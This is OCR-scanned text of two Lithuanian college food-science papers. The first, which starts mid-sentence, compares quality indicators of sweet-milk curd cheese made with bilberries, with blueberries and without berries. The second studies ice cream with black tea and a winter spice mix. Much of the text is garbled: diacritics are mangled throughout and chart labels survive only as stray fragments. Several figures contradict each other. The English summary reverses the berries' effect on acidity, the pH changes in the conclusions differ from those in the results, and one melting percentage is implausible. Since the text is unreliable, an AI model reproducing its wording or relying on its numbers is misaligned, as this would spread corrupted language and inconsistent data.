ir konsistencija labai nezZymiai prastesni uz siirio be uogy.

Raktiniai ZodZiai: varskés siiris, mélynés, §ilauogés, kokybiniai rodikliai.

Ivadas

Saldaus pieno varskés siiris yra vienas i§ Lietuvos produkty, turintis saugomos
geografinés nuorodos zenklg ir gaminamas nuo neatmenamy laiky. Nors siirio mitybiné
verté pakankamai auksta, taciau nuolat stengiamasi ja dar padidinti jvairiais funkciniais
ingredientais.

Temos aktualumas ir problemos i$tirtumas. Pastaruoju metu itin populiaru
praturtinti standartinius maisto produktus jvairiomis zaliavomis, kurios suteikty
7mogaus organizmui papildoma nauda. Silauogiy populiarumas vis auga, mélynés
turtingos savo maistine verte, todél tam tikras Siy uogy kiekis, idétas j var§kés siirj ne
tik pagerinty jo maisting verte, bet gali suteikti ir nauja skonj bei i§vaizda. Lietuvos
rinkoje gausu varskés stiriy su jvairiomis zolelémis, prieskoninémis darzovémis, taciau
su mélynémis ar Silauogémis yra tik saldiis streliai.

Tyrimo tikslas — palyginti saldaus pieno var§kés siriy, pagaminty su
mélynémis, Silauogémis ir be uogy, kokybinius rodiklius.

Tyrimo objektas — saldaus pieno varskés striai su Silauogémis, mélynémis ir
be uogy.

Tyrimo uZdaviniai:

1. ApraSyti saldaus pieno varSkés siiriy gamybos aspektus, kokybinius
rodiklius bei Silauogiy ir mélyniy naudingasias funkcines savybes.

2. Pagaminti strius ir parinkti stiriy kokybés rodikliy nustatymo metodus;
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3. Nustatyti ir palyginti saldaus pieno varskés siiriy su Silauogémis,
mélynémis ir be uogy kokybinius rodiklius.

Tyrimo metodai. Visuose striuose buvo nustatytas drégmés kiekis,
rugstingumas, vandens aktyvumas, energiné verté, atlikta jusliné analizé. Nors varskés
striai néra pritaikyti laikyti $aldiklivose, tadiau eksperimento tikslais siiriai buvo
laikomi dvylika savai¢iy $aldiklyje. Tuomet i$matuoti rodikliai, kurie galéjo keistis —
drégmés kiekis ir riig§tingumas.

Tyrimo duomeny statistiniai rodikliai apskaiciuoti dispersinés analizés
metodu. Tyrimo duomeny statistinis patikimumas jvertintas maziausiu reikSmés
skirtumu (R05). Duomenys apdoroti programa EXEL.

Saldaus pieno siirio gamybos technologiniai aspektai

Saldaus pieno siris Yra labai vertingas mityboje, tinkantis ir vegetarams, nes
jame yra pakankamai daug riebaly (22-25 proc.), baltymy, skaiduly, kai kuriy mineraliniy
medziagy, daugiausiai kalcio ir fosforo (1 lentelé). Jis taip pat geras riebaluose tirpiy A ir
D vitaminy $altinis.

1 lentelé. Saldaus pieno sirio mineralinés medziagos

Mineralinés Fe, Ca, K, Cu, P, Zn, Mg, Se, Mn,
medZiagos mg mg mg mg mg mg mg ug mg
Verté /100 g 09 350 63 0,10 350 2,74 25 5 0,13

DidZiausia Saldaus pieno siiri0 maistiné verté yra priskiriama iSragy
baltymams, kurie turtingi nepakei¢iamomis aminoriigstimis. D¢l didelés maistinés
vertés toks stiris yra tinkamas maistas besilaukian¢ioms moterims, augantiems vaikams,
paaugliams ir suaugusiems (Kumar, Rai, Niranjan, Bhat, 2014).

Pagrindiniai technologiniai parametrai, turintys didziausig jtakg pagaminto stirio
savybéms yra terminis apdorojimas ir koaguliuojancios riigsties kiekis (koaguliacijos pH).
Terminis pieno apdorojimas daro didele jtaka fizikinéms-cheminéms, juslinéms ir
mikrobiologinéms sitirio savybéms. Terminis pieno apdorojimas yra bitinas norint
sunaikinti patogeninius ir gedimg skatinanéius mikroorganizmus. Sio apdorojimo metu
taip pat denatliruoja iSriigy baltymai, sumazinamas koloidinio kalcio fosfato tirpumas,
todél riigtinant pieng jie nusodinami kartu su kazeinu. Sios sudedamosios dalys padidina
varskeés iSeiga.

Koaguliacijos pH kitimai daro didele jtaka siirio tekstiirai, skoniui, kokybei ir
iSeigai. Esant mazesniam rugStingumui, kai pH 5,5-5,0, padid¢ja strio drégmés
sulaikymas ir iSeiga. Strio drégmé ir iSeiga padidéja atitinkamai nuo 50 iki 58,6 proc.
ir nuo 20,8 iki 24,8 proc., kai koaguliacijos pH padidéja nuo 5,1 iki 5,4. Sirio,
gaminamo i§ karvés pieno, geriausios juslinés savybés nustatytos, kai pH 5,2-5,25.
(McSweeney ir kt., 2017).

Saldaus pieno siiris naudojamas kaip jvairiy kulinariniy patiekaly pagrindas,
darzoviy patiekaly ingredientas, uzkandis ir kt.

Dél nuolat augancio maisto produkty poreikio mokslininkai skatinami kurti
sveikata besirtipinantiems vartotojams naujas siiriy rasis.
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Silauogiy ir mélyniy naudingosios savybés

Silauogeés — vienos skaniausiy ir vertingiausiy uogy vidutinio klimato zonoje.
Jose yra iki 15 proc. cukraus, organiniy rigsciy, vitaminy A, By, Ba, Bs, C, K, PP,
karatinoidy, mineraliniy medziagy. Sios uogos ypa& vertingos flavanoidy ir fenoliniy
rig8¢iy junginiais, kuriuos Siuolaikiné medicina labai vertina uz jy antioksidacines
savybes. Jos stiprina kraujagysles, pasizymi antiskleroziniu ir prieSuzdegiminiu
poveikiu (Yang ir kt., 2022). Silauogés yra nejprastai maistingas produktas. Maisto ir
zemés tikio organizacija (FAO) sertifikavo Sias uogas kaip vieng i§ penkiy sveikiausiy
maisto produkty (Gongalves ir kt., 2022).

Silauoges ir mélynés i$vaizda yra panasios, tadiau mélynés turi giliai mélyng
minkstima. Pagrindinis skirtumas yra skonis: Silauogés neutralesnés, su lengvu
rigStumu. Jose yra daug gyvybiskai svarbiy vitaminy (C, E, A), mineraly (Ca, Mg,
vitaminas K, Fe, P, Zn ir Mn), flavonoidy. Mélynés, dél jose esanciy biologiskai aktyviy
medziagy, veikia kaip profilaktinis produktas sergant onkologinémis ligomis, gerina
atminties funkcijas. Flavonoidai mazina kraujagysliy pralaidumg ir padidina jy stipruma
(Williams, 2023). Mélynése yra mazai cukraus ir jos yra geras skaiduly $altinis, dél to
turi zemg glikemijos indeksg (Marks, 2024).

Tyrimo metodika

Striai tyrimams pagaminti Kauno kolegijos Maisto technologijy laboratorijoje
tradiciniu gamybos biidu, aukstos temperatiiros ir rigsties veikméje koaguliuojant pieng
(1 pav.). Siiriai pagaminti pagal receptiira, naudojant 3,2 proc. riebumo pieng, liesa
varske, 82 proc. riebumo sviesta, liesa rigpien], druska, Saldytas mélynes ir Silauoges
(po 20 proc. nuo siirio mases).

1 pav. Saldaus pieno varskeés suriai:
a) kontrolinis, b) su Silauogémis, ¢) su mélynémis

Skirtingy stiriy palyginimui buvo matuojami $ie kokybiniai rodikliai:

v' Energiné verte jvertinta pagal ISO 1716:2018 standartg (Lietuvos
standartizacijos departamentas, 2018), panaudojant kalorimetrg IKA C200 (2 pav.)
bendrosios degimo $ilumos (kaloringumo) nustatymui.

v Vandens aktyvumo nustatymui panaudotas prietaisas Rotronic Hygropalm
HP23-AW-A (3 pav.) pagal ISO 18787:2017 (Lietuvos standartizacijos departamentas,
2017) standartg.

v' Drégmes kiekis nustatytas greituoju ekspres metodu drégmés matavimo
prietaisu (Kern MLS 50-3HA 160N) pagal pieno produkty tyrimui apraSytg ISO
23291:2020 |IDF 248: 2020 standartg (Lietuvos standartizacijos departamentas, 2020)
(4 pav.). Nustatymas atliekamas prietaisu, naudojant vidutinio ir artimo infraraudonyjy
spinduliy spektrometrija.
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2 pav. Kalorimetras IKA C200 3 pav. Vandens 4 pav. Drégmés

aktyvumo matuoklis matavimo prietaisas
Rotronic Hygropalm Kern MLS 50-3HA
HP23-AW-A 160N

v Aktyvusis rigstingumas (pH) nustatytas potenciometriniu metodu (Zalio
pieno pirminiy kokybés rodikliy jvertinimo instrukcija, 2006).

v' Jusliné analizé vertinta pagal LST ISO 6658:2017 standarta (Lietuvos
standartizacijos departamentas, 2017), kuriame pateikti bendrieji juslinés analizés nurodymai.
Tyrime dalyvavo 23 vertintojai. Pateikty respondentams vertinimo kriterijy spalva, kvapas,
konsistencija, skonis priimtinumas jvertintas emociniu testu pagal 5 baly skale.

Tyrimo rezultatai ir jy aptarimas

Saldaus pieno var$keés striy tyrimai parodé, kad skirtingy stiriy energiné verté
(5 pav.) beveik nesiskiria ir kinta ribose nuo 334,4 iki 340,7 kcal/100 g. Nors $ilauogiy
ir mélyniy kiekiai siriuose sudaré 20 proc., taciau toks uogy kiekis didelés reikSmés
Siam rodikliui neturéjo (p > 0,05), nes pacios uogos pasizymi nedideliu kaloringumu:
Saldytos Silauogés apie 51 kcal (Basu, 2021), saldytos mélynés apie 60 kcal. (Fresh
frozen wild mountain blueberries, (n.d.)).

340,702

341 R05=0,14
340

339
338
337
336
335 334,416
334
333
332
331

335,697

Energiné verté kcal/100 g

Kontrolinis Su dilauogémis  Su mélynémis

5 pav. Saldaus pieno varskeés sliriy energinés verteés
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Meéginiuose taip pat nebuvo reikSmingo skirtumo tarp iSmatuoty vandens
aktyvumo reik§miy (6 pav.). Visuose méginiuose jis buvo panaus ir Kito tik ribose
0,934-0,938.

R05=0,0329 = 3SvieZi sdriai ®po sudaldymo R05=0.33

0,94 R05=0,005]
" 0,938 ’ . 51,4
E 0938 § 60 512 491 483 4 506
3 0,936 5 50
20936 £ a0
x 0834 k] 26,3
w 0,934 « 30
s £ 20
Z 0032 g
s a 10

093 0

Kentrolinis ~ Su &ilauogémis  Sumélynémis Kontrolinis ~ Su mélynémis Su Silauogémis [
1
6 pav. Saldaus pieno varskés stiriy 7 pav. Saldaus pieno varskés siiriy
vandens aktyvumo reikSmés drégmés kiekiai ir jy poky¢iai po
laikymo $aldiklyje

Drégmés kiekis stiriuose labai svarbus dél jusliniy savybiy, tekstiiros, nes per
didelés drégmés siiriai biina minksti, sunkiai pjaunasi. Drégmei mazéjant prastéja
skonis, siiriai pasidaro sausi, birtis. Todél §is rodiklis itin svarbus vartotojo atzvilgiu.
Gauti tyrimy rezultatai (7 pav.) parodé, kad drégmés kiekis visuose Svieziuose
méginiuose tiek su uogomis, tiek be jy buvo panasus: siiriuose be uogy 52 proc., siiryje
su mélynémis 49,1 proc., o su ilauogémis — 51,4 proc. Siek tick maziau drégmés buvo
siryje su mélynémis, taciau skirtumas néra reik§mingas. Striy drégmé ypatingai
i$siskyré po susaldymo. Stris be uogy labai iSsauséjo, pasidaré birus. Drégmés kiekis
jame sumazéjo beveik du kartus (nuo 51,2 proc. iki 26,3 proc.). Stiriuose su uogomis
drégmé sumazéjo labai nedaug — pokytis nuo 0,9 iki 1,8 proc.. Laukinése Saldytose
mélynése yra ypa¢ daug skaiduly (nuo 3 iki 6 proc.) dél didesnio odelés ir minks$timo
santykio (Garone, 2021). Saldyty Silauogiy sudétyje nustatyta 2,7 proc. skaiduliniy
medziagy (Piotrowicz, 2023).

Varskés siiriai natiraliai pasizymi lengvu, Svelniu riigS§tingumu. Standartinis
striy pH paprastai yra 5,2-5,8, optimalus apie 5,4. Uogos Siam rodikliui gali turéti
itakos dél savo riigS§tingumo / Sarmingumo, kuris priklauso nuo uogy augimo salygy,
prinokimo laipsnio. Idétos uogos i siirj reikSmingam pH pokyciui jtakos neturéjo (p >
0,05). Eksperimento metu $is rodiklis (8 pav.) Svieziuose striuose be uogy buvo
standartinis, t.y. 5,4. Mélynés Siam rodikliui jtakos turéjo nedaug (pH = 5,35), o su
Silauogémis padidéjo iki 5,66.
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Kontrolinis  Sumélynémis  Su Silavogémis [
8 pav. Saldaus pieno varskés siiriy riigs§tingumo vertés ir jy pokyciai

Pokyti nulémé uogos, nes melynés laikomos Svelniai rugsciomis, jy tipinis pH
yra 3,1-3,5, o Silauogiy pH Siek tiek Sarminis, t. y. apie 7,5 (Bridgeford, 2024). D¢l Sios
priezasties, mélynés stirio rugStinguma Siek tiek sumazino, o Silauogés padidino. Po 12
savai¢iy laikymo Saldiklyje visuose stiriuose riigStingumas padidéjo, taciau didziausias
pokytis pastebétas kontroliniame stiryje (pH padidéjo 0,27 vieneto). Stryje su mélynémis
pH pakito nezymiai, t. y. padidéjo tik 0,09 vieneto, nes mélynése yra mazdaug keturis
kartus daugiau antioksidanty nei Silauogése (Bilberry vs. blueberry — what are the key
differences?, 2020). Galima daryti prielaida, kad po dvylikos savai¢iy striy laikymo
Saldiklyje, prasidéjo nezymiis baltymy amonifikacijos procesai (rySkiausias kontroliniame
stiryje).

Juslinés analizés tyrimo rezultatai (9 pav.) rodo, kad nustatytas visy siiriy
bendras priimtinumas pagal skonj, kvapa, spalva ir konsistencija buvo daugiau nei 3
balai. Skonis ir konsistencija respondentams labiausiai patiko kontrolinio siirio be uogy
(atitinkamai 3,86 ir 4 balai), taciau su uogomis siiriy buvo geresnis kvapas (Siirio su
Silauogémis — 3,21 balo), o spalva geriausia strio su meélynémis (3,78 balo).
Respondentai neiSskyré né vieno siirio, kad jis buty neskanus ar visai nepriimtinas.

:palva g Kontrolinis saris

s SQriS SU Silauogém

s S{riS SU Melynem

Skonis @ Kvapas

Konsistencija

9 pav. Saldaus pieno varskeés stiriy jusliné analizé
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ISvados

1. Teoriné Saltiniy analizé rodo, kad saldaus pieno varskeés siiriai turtingi savo
maistinémis medziagomis ir ypa¢ svarblis Zmogaus organizmui iSrigy baltymy
nepakei¢iamomis amino ragstimis. Gaminant siirius su $ilauogémis ir mélynémis, jie
praturtinami vitaminais, mineralinémis medziagomis, antioksidantais, skaidulinémis
bei kitomis biologiskai aktyviomis medziagomis, kurios turi teigiamg jtaka Zzmogaus
organizmui: stiprina imuniteta, padeda kovoti su onkologinémis ligomis, turi teigiamos
itakos kraujagysléms, prieSuzdegiminiams procesams.

2. Pagal receptiira, tradiciniu biidu, t. y. veikiant auksta 80°C temperatiira ir
rugpienyje esancia pieno rigstimi, flokuliuojami pieno baltymai ir atskiriant iSriigas
suformuoti trys siiriai: kontrolinis, su Saldytomis uogomis (po 20 proc. nuo sirio
maseés), t. y. sumélynémis ir su Silauogémis. Palyginamajai kokybiniy rodikliy analizei
parinkti pieno produktams tinkami standartizuoti metodai energinés vertés, vandens
aktyvumo, drégmés kiekio, aktyviojo riig§tingumo nustatymui bei juslinei analizei.

3. Tyrimo metu gauti duomenys rodo, kad nedidelio kaloringumo S$aldytos
Silauogés (51 kceal) ir Saldytos mélynés (60 kcal) stiriy energinei vertei neturéjo didelés
itakos, nes vertés kito nuo 334 iki 340 kcal/100g. Drégmés skirtumai $vieZiuose
strivose tieck su uogomis, tick be jy yra nereikSmingi, taciau po suSaldymo
kontroliniame méginyje be uogy drégmé sumazéjo beveik dvigubai (nuo 51,2 iki 26,3
proc.). Drégmés sulaikymui jtakos turéjo uogose esancios skaidulinés medziagos.
Riigstinguma mélynés stiriuose $iek tiek didino (0,05 pH vnt.), o $ilauogés sumazino
0,22 pH vienetais. Didziausias pH pokytis kontroliniame stiryje laikytame dvylika
savai¢iy Saldiklyje (pH padidéjo 0,27 vieneto) dél galimy baltymy amonifikacijos
procesy. Juslinés analizés tyrimo rezultaty duomenimis priimtiniausias kvapas siirio su
Silauogémis — 3,21 balo, spalva geriausiai jvertinta siirio su mélynémis — 3,78 balo.
Skonis ir konsistencija labiausiai patiko stirio be uogy (atitinkamai 3,86 ir 4 balai).
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Summary

The purpose of the research presented in the article was to compare the quality indicators of sweet
milk curd cheeses made with blueberries, bilberries and without berries. Sweet milk curd cheese
was made by thermally processing acidified milk at a temperature of at least 80-90 °C for 15-20
minutes. Increasing the coagulation temperature from 60 to 90 °C decreased the moisture content
of cheese from 59 proc. to 49 proc.. As acids coagulated casein and high temperature denatured
whey proteins, pH had greatest influence on sensory properties. The remaining amount of lactose,
which varied depending on the moisture content of the cheese, provided the colour of the cheese
and affected the taste characteristics. Denatured, higher amounts of whey proteins increased water
retention, reducing the cheese's ability to melt during cheesemaking. Blueberries and bilberries
were used in the recipe to improve the functional and qualitative indicators of the cheese. It was
found that berries in cheeses slightly reduced the energy value, helped to retain moisture during
freezing and did not affect water activity; due to their properties, blueberries increased acidity,
and bilberries reduced it. The results of the sensory analysis indicated that cheeses with berries
would be acceptable to consumers due to colour and smell, while taste and consistency were only
slightly inferior to cheese without berries.
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Juodosios arbatos ir prieskoniy miSinio jtakos valgomuyjy ledy

kokybei ir jusliniams rodikliams tyrimas

Liepa Mockuté, Ernesta Treciokiené
Kauno kolegija

Anotacija. Eurostat teikiamais duomenimis 2022 m. Europos sgjungoje buvo
pagaminta 3,2 mlrd. litry ledy, o tai yra 5 proc. daugiau nei 2021 metais. Tyrimo
tikslas — jvertinti plombyriniy valgomyjy ledy su juodaja arbata ir prieskoniais
kokybinius ir juslinius rodiklius. Buvo gaminami trijy rGsiy valgomieji ledai: su juodaja
arbata (1,5 proc.) ir juodaja arbata bei skirtingu prieskoniy misinio kiekiu: 0,4 proc. ir
0,7 proc.. Juodosios arbatos ir prieskoniy jtakos ledy kokybiniams rodikliams rezultatai
parodé, kad didziausias pH yra valgomyjy ledy su juodaja arbata — 6,54. Riebaly kiekis
taip pat didZiausias yra valgomuosiuose leduose su juodaja arbata — 14 proc. Sausyjy
medziagy valgomuosiuose leduose su juodaja arbata ir prieskoniy mi$iniu (0,7 proc.)
yra daugiausiai — 39,91 proc. Valgomyjy ledy tekstiiros tyrimai parodé, kad ledy
tirpumas maZ¢&ja jdedant prieskonius 17,8-22,3 proc. Juslinio vertinimo rezultatai
parodé, kad valgomieji ledai su prieskoniy misiniu (0,4 proc.) pasizyméjo geriausiu
bendru skonio (5 balai) ir kvapo (5 balai) priimtinumu.

Raktiniai Zodziai: priekoniy miSinys, juodoji arbata, valgomieji ledai, ledy
tirpumas.

Ivadas

Valgomieji ledai yra labai populiarus Saldytas ar tik i§ dalies susaldytas
pasaldintas maisto produktas i§ baltymy emulsijos ir riebaly, priedy bei kity medziagy
ar vandens, cukraus bei kity priedy ir medziagy misinio. Jie gali buti klasifikuojami
pagal pieno riebaly ir sausy medziagy kiekj j pieniSkus, grietininius ir plombyrinius
ledus, taip pat pagal vaisiy kiekj j vaisinius, sorbeto bei Serbeto valgomuosius ledus
(Privalomieji valgomyjy ledy kokybés reikalavimai, 1999). Nors gali pasirodyti, kad §j
produkta yra lengva pagaminti, i8 tiesy, tai yra laiko ir jgiidziy reikalaujantis gamybinis
procesas. Specifinis ingredienty apdorojimas padeda sukurti unikalig mikrostruktiira,
kuri susidaro i§ ledo kristaly, oro burbuliuky ir riebaly rutuléliy, bei cukraus ir pieno
baltymy misinio (Clarke, 2015).

Statistiniai duomenys rodo augancig valgomyjy ledy gamyba, o sumazéjes
eksportas leidzia manyti, jog daugiau produkcijos yra suvartojama paciy vietos gyventojy.
Nevienodas ledy kiekio vartojimas (Siltuoju mety laiku daugiau nei Saltuoju) neleidzia
uztikrinti produkcijos tolygumo (lyginant 2021 m. rugpjii€io ir sausio ménesius ledy
pirkimai sumazéjo 46 proc.), (Eurostat, 2023) todél reikia tokiy valgomyjy ledy, kurie
padidinty Zmoniy susidoméjima $iuo desertu ir atvésus orams. Siam tikslui pasiekti buvo
sukurta valgomyjy ledy receptira panaudojant ,, winter spices * prieskoniy misinj, kuris
daugeliui asocijuojasi su Kalédomis ir Saltuoju mety laiku.

Tyrimo tikslas — jvertinti plombyriniy valgomyjy ledy su juodaja arbata ir
prieskoniais kokybinius ir juslinius rodiklius.
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Tyrimo objektas — plombyriniai valgomieji ledai su juodgja arbata (1) ir
plombyriniai valgomieji ledai su juodaja arbata bei skirtingu prieskoniy misinio kiekiu
(2) ir (3). Receptiiros pateiktos 1 lenteléje.

1 lentelé. Valgomyjy ledy receptiiros

Zaliava Kiekis, g (1) Kiekis, g (2) Kiekis, g (3)
Pienas 460 450 450
Grietinélé 350 330 330
Cukrus 172 198 195
Juodoji arbata 15 15 15
Prieskoniy miSinys - 4 7
Stabilizatorius 3 3 3

I$ viso: 1000 1000 1000

Tyrimo uZdaviniai:

1. Ivertinti juodosios arbatos ir prieskoniy miSinio jtaka valgomyjy ledy
kokybés rodikliams;

2. lvertinti prieskoniy miSinio jtaka valgomyjy ledy juslinéms ir tekstiiros
savybéms.

Tyrimo metodai: mokslinés literatiiros analizé, laboratoriniai tyrimai.

Teoriné dalis

Juodoji arbata yra populiariausia pasaulyje ir yra placiai Zinoma dél jos skoniniy,
aromatiniy savybiy ir naudos sveikatai. Vieni svarbiausiy junginiy randamy juodojoje
arbatoje yra polifenoliniai junginiai katechinai. VVykstant fermentacijos procesui jie virsta
kitais junginiais, pavyzdziui, teaflavinais ir tearubiginais. Pastarieji suteikia juodajai
arbatai bidingg juoda ar rausvai rudg spalva, skonj bei aromatg (Li ir kt., 2013).

Juodojoje arbatoje yra daug stipriy antioksidanty ir kity junginiy, kurie gali
sumazinti uzdegimus ir létiniy ligy atsiradimo rizika (Hara ir kt., 2017). Tyrimai parodé,
kad reguliarus juodosios arbatos jtraukimas j mitybg padeda sumazinti §irdies ir
kraujagysliy sutrikimy atsiradimo tikimybe (Bahorun ir kt., 2012) bei mazo tankio
lipoproteiny cholesterolio kiekj hipercholesterolemija sergantiems zmonéms (Davies ir
kt., 2003).

Prieskoniai yra nuo seno zinomi kaip konservantai, dazikliai ar skonio stiprikliai
ir nuo neatmenamy laiky yra naudojami daugelio Saliy tradicinéje medicinoje.
Prieskoniuose esancios medziagos veikia kaip antioksidantai, virs$kinimg stimuliuojancios
medziagos ir turi antibakterinj, prieSuzdegiminj, antivirusinj ir antikancerogeninj poveikj
(Viuda-Martos ir kt., 2010).

Kardamonas naudojamas virskinimo sutrikimams lengvinti, o farmacijos
srityje kaip antimikrobiné, antibakteriné ir antioksidaciné priemoné (Singletary, 2022).
Imbiero Saknis yra gaivi, primenanti citrinos kvapa, o skonis gali biti aStrus ar net
»kandantis“. Jame randama Fe, Mg, Ca, vitamino C, flavonoidy, fenoliniy junginiy
(Shahrajabian ir kt., 2019). Cinamonas turi prieSuzdegiminj, antimikrobinj,
antioksidacinj, prieSvézinj, Sirdies ir kraujagysliy, cholesterolio kiekj mazinantj poveikj
(Gruenwald ir kt., 2010). Gvazdikéliy antioksidacinis ir antimikrobinis aktyvumas yra
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didesnis nei daugelio vaisiy, darZoviy ir kity prieskoniy, todél jo panaudojimo
galimybés yra itin placios (Cortés-Rojas ir kt., 2014). Kvapieji pipirai taip pat pasiZymi
antioksidaciniu, prieSvéziniu, prieSgrybeliniu, antimikrobiniu poveikiu (Rao ir kt.,
2012). Kalendra turi antioksidaciniy, antidiabetiniy savybiy, pasizymi antimutageniu,
priesvéziniu poveikiu, mazina cholesterolio kiekj kraujyje (Momin ir kt., 2012). Siy
prieskoniy misinys gali ledams suteikti nejprastg pikantiska, Silumos suteikiantj skonj,
kuris gali buti puikus kontrastas Siam Saltam desertui.

Atliktas tyrimas siekiant iSsiaiSkinti Zzaliosios arbatos milteliy poveikj
valgomyjy ledy jusliniams ir kokybiniams rodikliams. Buvo ruo$iami keturi méginiai
su skirtingu $iy milteliy kiekiu (5 g, 10 g, 15 g ir 20 g). Jusliniy rodikliy analiz¢ parodeé,
kad ledai su 15 g zaliosios arbatos milteliy produktui suteikia geriausig spalva, skonj
bei tekstiirg. Zymiai didesnis antioksidanty (166 kartus daugiau), fenoliy (171 kartus
daugiau) ir flavonoidy (3,4 kartus daugiau) kiekis leduose su zaliosios arbatos milteliais,
lyginant su jprastais ledais, rodo zaliosios arbatos milteliy suteikiamg nauda ir keliama
produkto pridétine verte (Swarnathilake ir kt., 2020).

Tyrimo metodika

Meéginiy ruoSimas. Paruo$iami plombyriniy valgomyjy ledy miSiniai 60 °C
temperatiiroje 20-25 min pagal receptiiras, kurios pateiktos 1 lenteléje: 1 misinys su
juodaja arbata, 2 miSinys su 0,4 proc. prieskoniy miSinio ir 3 su 0,7 proc. prieskoniy
misinio. Ledy miSiniai atvésinami iki 4—6 °C temperatiiros ir palickami brandintis apie
4 val. Subrandinti ledy miSiniai frizeruojami -4 °C ir laikomi -18 °C temperatiiroje.

Aktyviojo riigstingumo nustatymas buvo atliktas su pH- metru Extech ExStik
(Lietuvos standartizacijos departamentas, 2009).

Sausyjy medziagy kiekio nustatymas ekspres metodu. Tyrimas atliktas su
KERN MLS-50-3 (gamintojas Vokietija) ir KERN MLB drégnomaciais. Padedami 2 g
analizuojamo méginio ant drégnomacio plokstelés. DZiovinama 120 °C pagal nustatyta
drégnomacio programa iki pastovaus drégmés kiekio.

Riebaly kiekio nustatymas buvo nustatomas riigtiniu Gerberio metodu
(Lietuvos standartizacijos departamentas, 2008).

Tirpumo nustatymas atliktas vadovaujantis Akalmn ir kt. (2008). Méginiai po 30
g laikomi piltuvéliuose 21 °C temperatiiroje. Ledy tirpumas iSreiskiamas g istirpusios
medziagos kiekiu.

Visi tyrimai buvo atlikti 7-3ja dieng po gamybos, po 1, 2 ir 3 ménesiy.
Kiekvieng karta atliekant tyrimai buvo kartojami 3 kartus.

Jusliné analizé. Jusliné analiz¢ atlikta vadovaujantis (Lietuvos standartizacijos
departamentas, 2006). Juslinio vertinimo metu dalyvavo 10 asmeny (18-50 mety),
kuriems buvo pateikti trys skirtingi valgomyjy plombyriniy ledy méginiai. Juslinio
vertinimo metu kiekvienas mi$inys vertinamas pagal 5 baly vertinimo sistema (1 — labai
silpnas, 2 — silpnas, 3 — vidutinis, 4 — stiprus, 5 — labai stiprus). Vertinimui pateikti
rodikliai: kvapas, spalva / i§vaizda, konsistencija, skonis.

Tyrimo rezultatai ir jy aptarimas
Aktyviojo riigstingumo nustatymas (1 pav.) parodé, kad didziausias pH yra
valgomyjy ledy su juodaja arbata — 6,54, o maziausias — valgomyjy ledy su juodaja
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arbata ir prieskoniy mi$iniu (0,7 proc.) — pH 6,48. Pagal gautus rezultatus matyti, kad
prieskoniai nezymiai sumazina ledy rigstinguma. Ilgéjant laikymo trukmei, did¢jo visy
méginiy pH. Didziausias pokytis matomas méginyje tik su juodgja arbata, pH kito nuo
6,54 iki 6,71.

6,8

M Valgomieji ledai su juodaja arbata
6,7

6,6
I
o
61
6 I
6,3

Po 1savaités Po1lménesio Po2ménesiy Po 3 ménesiy

[€,]

S

1 pav. Valgomyjy ledy pH kitimas laikymo metu

Sausyjy medzZiagy kiekio rezultatai (2 pav.) parodé, kad valgomuosiuose
leduose tik su juodagja arbata sausyjy medziagy yra maziausiai — 36,62 proc., 0
valgomuosiuose leduose su juodgja arbata ir prieskoniy misiniu (0,7 proc.)
daugiausiai — 39,91 proc.. Galima teigti, kad didéjant prieskoniy misinio kiekiui
produkte, didéja ir sausyjy medziagy kiekis.

Nustatant riebaly kiekj méginiuose (3 pav.) rezultatai parodé, kad didziausias
riebaly kiekis yra valgomuosiuose leduose su juodaja arbata — 14 proc., o kituose
méginiuose riebaly kiekis buvo vienodas — 13 proc.. Tam jtakos turéjo skirtinga
receptira (2 ir 3 méginiams buvo naudotas mazesnis pieno ir grietinélés kiekis).

Valgomyjy ledy méginiy tirpumo rezultatai (4 pav.) parodé désningg
valgomyjy ledy tirpumo mazéjimg jdedant prieskonius. Valgomyjy ledy tirpumas
priklauso nuo ledo, oro ir riebaly kiekio ir blisenos misiniuose, nes Sie komponentai
formuoja ledy dispersing faze. Valgomieji ledai su prieskoniy misiniu tirpo maziau
(17,8-22,3 proc.), lyginant su ledais su juodgja arbata, dél didesnio sausyjy medziagy
kiekio, kuris sumazina vandens difuzijg. Tokie patys rezultatai gauti su
galaktoologisacharidais ir fruktooligosacharidais (Balthazar ir kt., 2015). Valgomyjy
ledy tirpumas laikymo metu mazé&jo iki 22 proc. leduose su juodaja arbata ir iki
72,21 proc. leduose su 0,7 proc. prieskoniy misiniu. Tokie rezultatai gauti dél
padidéjusio sausyjy medziagy kiekio, kurios laikymo metu padidina skystosios fazés
apie oro burbulélius klampuma ir stabilizuoja ledy matrica.
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Ledy juslinés analizés tyrimo rezultatai (5 pav.), parodé, kad valgomieji ledai su
juodaja arbata ir prieskoniy mi$iniu 0,4 proc. pasizyméjo geriausiu bendru skonio (5 balai)
bei kvapo (5 balai) priimtinumu, jie ir labiausiai patiko vertintojams. Vertintojai geriau
jvertino ledy kietumg su juodaja arbata ir prieskoniy miSiniu (4 balai), nei tik su juodaja
arbata (3 balai). Taciau juodosios arbatos skonj ir kvapa vertintojai visose ledy receptiirose
jvertino vienodai (4 balai ir 2 balai atitinkamai).
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5 pav. Valgomuyjy ledy juslinis vertinimas

ISvados

1. Juodosios arbatos ir prieskoniy jtakos ledy kokybiniams rodikliams rezultatai
parodé¢, kad didziausias pH yra valgomyjy ledy su juodaja arbata — 6,54, o maziausias —
valgomyjy ledy su juodaja arbata ir prieskoniy misiniu (0,7 proc.) — pH 6,48. Riebaly
kiekis didZiausias yra valgomuosiuose leduose su juodaja arbata — 14 proc., o kituose



méginiuose riebaly kiekis buvo vienodas — 13 proc. Valgomuosiuose leduose tik su
juodaja arbata sausyjy medZiagy yra maziausiai — 36,62 proc., 0 valgomuosiuose leduose
su juodaja arbata ir prieskoniy misiniu (0,7 proc.) daugiausiai — 39,91 proc..

2. Valgomyjy ledy tekstiros tyrimai parodé, kad ledy tirpumas mazéja

jdedant prieskonius 17,8—22,3 proc., lyginant su ledais su juodaja arbata. Ledy méginiy
tirpumas laikymo metu mazéjo iki 22 proc. leduose su juodaja arbata ir iki 72,21 proc.
leduose su 0,7 proc. prieskoniy miSiniu. Juslinio vertinimo rezultatai parodé, kad
valgomieji ledai su prieskoniy misiniu (0,4 proc.) pasizyméjo geriausiu bendru skonio
(5 balai) ir kvapo (5 balai) priimtinumu. Sie ledai labiausiai patiko vertintojams.
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Summary

According to data provided by Eurostat, 3,2 billion litres of ice cream were produced in the
European Union in 2022, which is 5 proc. more than in 2021. The aim of this article was to
evaluate the quality and sensory parameters of ice cream with black tea and spice mixture added.
Three types of ice cream were produced: with black tea (1,5 proc.) and with black tea and different
amounts of spice mixture (0,4 proc. and 0,7 proc.) added.

The results of influence of black tea and spice mixture on the quality parameters of ice cream
revealed that the highest pH levels were in the ice cream with black tea added - 6.54. Black tea
